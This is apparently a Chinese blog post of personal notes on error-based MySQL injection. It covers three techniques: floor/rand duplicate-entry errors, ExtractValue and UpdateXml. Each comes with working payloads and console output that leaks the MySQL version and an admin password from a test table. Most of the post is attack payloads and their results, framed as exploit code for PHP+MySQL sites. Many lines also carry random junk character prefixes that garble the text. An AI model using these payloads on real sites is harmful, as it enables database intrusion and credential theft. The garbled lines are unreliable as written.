关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
9 D  V5 V3 e  |) F: R实际测试环境：
​
4 m& q: X: K; o1 F: R
4 ~0 ?% Y5 @' r  C3 xmysql> show tables;
7 ], d6 L, X1 M0 ?0 r$ a! Q5 d1 u) N+----------------+
9 h; c' e: J4 P- H| Tables_in_test |
1 Y) A$ A. G. H: E5 D1 }  A+----------------+
* ?, x  G1 @9 h| admin          |
| article        |
  `+ m$ x) w2 X$ F2 ?$ J/ D+----------------+

# r! s% j! a6 n' b) C
0 W/ i" Z8 _& c( v4 k1 c+ A+ M% F
mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
1 l8 u( l! X! V" D, `  Y, ?# K| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
" ~0 J" j5 o& x, }+-------+------------------+------+-----+---------+----------------+
  G& p( J" x! @


  z( T0 Q6 e6 H2 c9 imysql> describe article;
: M9 C, r" W, Z# E. i3 L! D5 h4 p) N+---------+------------------+------+-----+---------+----------------+
+ S) k' W. c( g; O7 a: o. s| Field   | Type             | Null | Key | Default | Extra          |
+ R- I1 L) c; V) |/ d1 a+---------+------------------+------+-----+---------+----------------+
( r5 O- P8 X- Y% h! {| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
0 ?) f# A1 k1 I9 N* y1 `9 G| title   | varchar(50)      | NO   |     | NULL    |                |
, c/ f6 U: _8 ]$ d, j% E, f| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
) U, T: {. G( K( N/ `1、通过floor报错
( v9 O& M: }/ R6 N2 T可以通过如下一些利用代码


and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
1 L- ~+ }0 z' a/ M' Y7 F) l; Z3 rfrom information_schema.tables group by x)a);

; Y: L) c+ R* g/ G1 l
and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
( L( K2 |* @  L6 z3 U& h+ j举例如下：
4 U2 H, f8 v% Y  I5 o首先进行正常查询：
9 Q( t* \# |$ Q/ Y8 A) [9 Z# n
mysql> select * from article where id = 1;
7 N1 `( h( p9 [% U2 t' P+----+-------+---------+
1 v9 X$ ]4 S3 [# D| id | title | content |
8 t2 N) U3 ?4 c  t+----+-------+---------+
|  1 | test  | do it   |
7 J4 j# Q% ^; D3 t+ {+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。
) U6 q. y9 ?" m0 N; Q) @$ K

8 v8 S* x) y/ `; P& V5 q+ dmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
, @: m9 [. B0 I' k  AMethod1:


1 p# K' ]9 |0 ?6 \% ^' d( ^1 dmysql> select * from article where id = 1 and (select 1 from
8 T" Y/ ?1 d$ o3 a! t5 l(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
  b1 I$ }: {) R- r% `8 yfrom information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:

9 t4 |1 p( M" P: c+ Y
mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
2 b$ u1 S7 k+ L7 tfloor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下
0 w( L. p! n* a
; \1 a6 g$ [1 L. ~1 H
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
- ~! t9 W6 r+ s! B* i! }实际测试过程
  Z$ n/ t4 C) h& R

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
7 E7 U4 e* T) s7 X) i- kERROR 1105 (HY000): XPATH syntax error: '\admin888'
/ s3 o. y5 L. j3、UpdateXml
测试语句


and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
  O. x; ~. D% {! ^2 x7 y6 ~. O

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
7 p8 f" l; x+ F) l# F7 E3 cAll, thanks foreign guys.
. q4 C/ f1 J1 e! W# s, O
3 n# M. j8 R, T' P! G​
+ k2 F3 l/ {+ `$ z0 c( b9 z5 v